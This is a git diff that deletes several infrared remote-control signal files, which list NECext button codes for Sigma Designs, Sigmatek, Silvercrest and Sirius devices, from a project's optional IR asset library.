a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir deleted file mode 100644 index 174e7e7db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: PRG -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 40 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 44 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 54 00 00 00 -# -name: L-R -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir deleted file mode 100644 index 93b81c39a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir deleted file mode 100644 index ebaedb033..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: P/N -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: VOCAL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: AW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: DEFAULT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir deleted file mode 100644 index abb8f3c33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: text1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: text3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: text2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: forw -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: text4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir deleted file mode 100644 index 5389dde87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: skipforward -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: fastrew -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1C 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir deleted file mode 100644 index 99aa42b16..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: cat- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: cat+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: memo -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 21 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir deleted file mode 100644 index 5a7c91640..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: num0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 84 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 85 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 86 00 00 00 -# -name: up_arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 87 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 88 00 00 00 -# -name: right_arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 89 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8B 00 00 00 -# -name: down_arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8D 00 00 00 -# -name: fm_preset -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8F 00 00 00 -# -name: num7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 90 00 00 00 -# -name: num4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 91 00 00 00 -# -name: num1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 92 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 93 00 00 00 -# -name: num8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 94 00 00 00 -# -name: num5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 95 00 00 00 -# -name: num2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 97 00 00 00 -# -name: num9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 98 00 00 00 -# -name: num6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 99 00 00 00 -# -name: num3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9C 00 00 00 -# -name: jump_button -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9E 00 00 00 -# -name: left_arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir deleted file mode 100644 index 7c858a5af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir +++ /dev/null @@ -1,152 